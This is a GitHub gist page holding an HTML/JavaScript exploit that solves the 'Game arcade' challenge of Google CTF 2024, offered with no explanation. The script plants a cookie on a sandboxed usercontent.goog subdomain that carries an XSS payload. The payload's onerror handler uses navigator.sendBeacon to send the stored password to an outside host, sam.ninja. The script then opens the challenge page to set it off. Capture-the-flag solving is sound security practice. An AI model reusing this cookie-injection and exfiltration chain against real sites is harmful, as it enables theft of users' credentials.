Skip to content

Instantly share code, notes, and snippets.

@betrisey
Created June 23, 2024 18:05
Show Gist options
  • Save betrisey/353a48c614c6359d9b0f37c622f05e13 to your computer and use it in GitHub Desktop.
Save betrisey/353a48c614c6359d9b0f37c622f05e13 to your computer and use it in GitHub Desktop.
Game arcade - Google CTF 2024
<!DOCTYPE html>
<html>
<body>
<script>
function arrayToBase36(arr) {
return arr
.reduce((a, b) => BigInt(256) * a + BigInt(b), BigInt(0))
.toString(36);
}
function concatBuffers(...buffers) {
let length = 0;
for (const buf of buffers) {
length += buf.byteLength;
}
const newBuf = new Uint8Array(length);
let offset = 0;
for (const buf of buffers) {
newBuf.set(new Uint8Array(buf), offset);
offset += buf.byteLength;
}
return newBuf.buffer;
}
async function calculateHash(...parts) {
const encoder = new TextEncoder();
const newParts = [];
for (let i = 0; i < parts.length; i++) {
const part = parts[i];
if (typeof part === "string") {
newParts.push(encoder.encode(part).buffer);
} else {
newParts.push(part);
}
if (i < parts.length - 1) {
newParts.push(encoder.encode("$@#|").buffer);
}
}
const buffer = concatBuffers(...newParts);
const hash = await crypto.subtle.digest("SHA-256", buffer);
return arrayToBase36(new Uint8Array(hash))
.padStart(50, "0")
.slice(0, 50);
}
(async function() {
if (!crypto.subtle) {
await import(
"https://cdnjs.cloudflare.com/ajax/libs/js-sha256/0.11.0/sha256.min.js"
);
crypto.subtle = {
digest: async function (c, body) {
var hash = sha256.create();
hash.update(body);
return hash.arrayBuffer();
},
};
}
const mimeType = "text/html;charset=utf-8";
const xss = `<img src=0 onerror="navigator.sendBeacon('https://sam.ninja/flag', localStorage.password)">`;
const body = `
<script>
document.cookie="password=${escape(xss)};Domain=.0ta1gxvglkyjct11uf3lvr9g3b45whebmhcjklt106au2kgy3e-h641507400.scf.usercontent.goog";
<`+`/`+`script>
`;
const product = "google-ctf";
const hash = await calculateHash(product, body, window.origin);
const url = new URL(
`http://${hash}-h641507400.0ta1gxvglkyjct11uf3lvr9g3b45whebmhcjklt106au2kgy3e-h641507400.scf.usercontent.goog/google-ctf/shim.html`
);
url.searchParams.set("origin", window.origin);
url.searchParams.set("cache", "1");
const safeWindow = window.open(url, "_blank");
const loadedPromise = new Promise((resolve) => {
const interval = setInterval(() => {
const messageChannel = new MessageChannel();
messageChannel.port1.onmessage = () => {
resolve();
clearInterval(interval);
};
safeWindow.postMessage(1, url.origin, [messageChannel.port2]);
}, 100);
});
loadedPromise.then(() => {
const messageChannel = new MessageChannel();
messageChannel.port1.onmessage = (e) => {
console.log(e.data);
};
safeWindow.postMessage(
{ body, mimeType, salt: new TextEncoder().encode(body).buffer },
url.origin,
[messageChannel.port2]
);
});
setTimeout(() => {
open("https://game-arcade-web.2024.ctfcompetition.com/#1");
}, 2000);
})();
</script>
</body>
</html>
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment